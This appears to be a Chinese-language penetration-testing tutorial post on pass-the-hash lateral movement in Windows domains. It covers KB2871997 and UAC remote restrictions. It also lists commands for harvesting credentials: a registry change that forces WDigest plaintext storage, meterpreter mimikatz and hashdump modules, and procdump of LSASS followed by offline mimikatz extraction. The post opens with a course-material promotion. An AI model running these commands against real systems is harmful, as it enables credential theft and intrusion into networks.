学习网络安全的小伙伴可以私信问我拿奇安信老师最新的课件资料笔记 大厂面试课题~
网络安全课件资料 笔记 面试课题无偿赠送
横向移动PTH如果找到了某个用户的NTLM hash,就可以拿这个ntlm hash当作凭证进行远程登陆了
其中若hash加密方式是 rc4 ,那么就是pass the hash
若加密方式是aes key,那么就是pass the key
注意NTLM和kerberos协议均存在PTH:
NTLM自然不用多说
kerberos协议也是基于用户的client hash开始一步步认证的,自然也会受PTH影响
那前提就是要获取hash值了
KB2871997如果系统安装KB2871997补丁或者系统版本大于等于window server 2012时(服务器版本),大于等于win8.1(家庭版本)时(自带补丁),默认在LSASS.exe这个进程中不会再将可逆的密文缓存在自己的进程内存中,所以我们默认是没办法通过读取这个进程然后逆向该密文来获取明文密码
虽然可以通过修改注册表来使LSASS强制存储明文密码
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
但是这种方式要求系统重启或者用户重新登录,在实战中操作起来成功率还是比较低的。
同时比较重要的一点是增加了Protected Users组,所属用户会被强制要求使用Kerberos认证,可以避免PTH攻击,以及用户注销后删除凭证(明文密码、LM/NTLM HASH、Kerberos的TGT票据等)
以及:Restricted Admin RDP模式的远程桌面客户端支持
关于KB2871997的一个误解自window Vista之后没办法使用RID非500的本地管理员用户来进行Pass The Hash, 但是如果是域用户且该域用户属于本地Administrators组的成员也可以进行pass the hash。
很多人把这个原因归结于KB2871997补丁,实际上不然,这个事情的成因实际是UAC在捣乱。UAC是window Vista的新安全组件,具体是个啥这里也不细说了。
RID为500的账户和属于本地administrators组的域用户在通过网络远程链接时,默认就是高权限令牌。
而非RID500的本地账户则为低权限令牌,若想提升权限则需通过交互方式登录到要通过远程协助或远程桌面管理的计算机走UAC提权。
关于这个成因的一些系统配置选项:
这个项默认允许内置管理员账户(RID500账户)在所有应用下都以高权限令牌运行。这也是RID500账户能PTH的原因
以及此注册表项,可以关闭UAC的远程限制,即远程连接时UAC会失效,这样的话只要是administrators组的用户都能PTH辣。
其中该值为0则代表开启UAC的远程限制,设置该值为1时
HASH获取- 使用meterpreter里的mimikatz模块
meterpreter>load mimikatz
meterpreter>mimikatz_command -f mimikatz的指令
privilege::debug 提权 samdump::hashes dump哈希
或者
meterpreter>msv/kerberos/widgst
2.使用meterpreter自带的hash获取模块
meterpreter>hashdump
meterpreter>run windows/gather/smart_hashdump (推荐使用这个)
3.向目标机上传mimikatz远程调用mimikatz.exe dump出hash,mimikatz需要免*处理
意思就是既然我们获取到了shell,我们直接向目标机上传一个mimikatz然后在shell里使用它就行了. 使用方法为cmd窗口打开mimikatz.exe,进入mimikatz终端,然后输入mimikatz指令即可
4.上传procdump到目标机,获取到lsass.dmp文件后将其传回本地又mimikatz来dump哈希
procdump.exe是微软自带的程序,所以不会触发*毒。所以可以通过它传回lsass.dmp本地提取hash
procdump64.exe -accepteula -ma lsass.exe lsass.dmp 执行该指令,获取到lsass.dmp
然后将其传回本地
通过mimikatz.exe分别执行以下命令
"sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"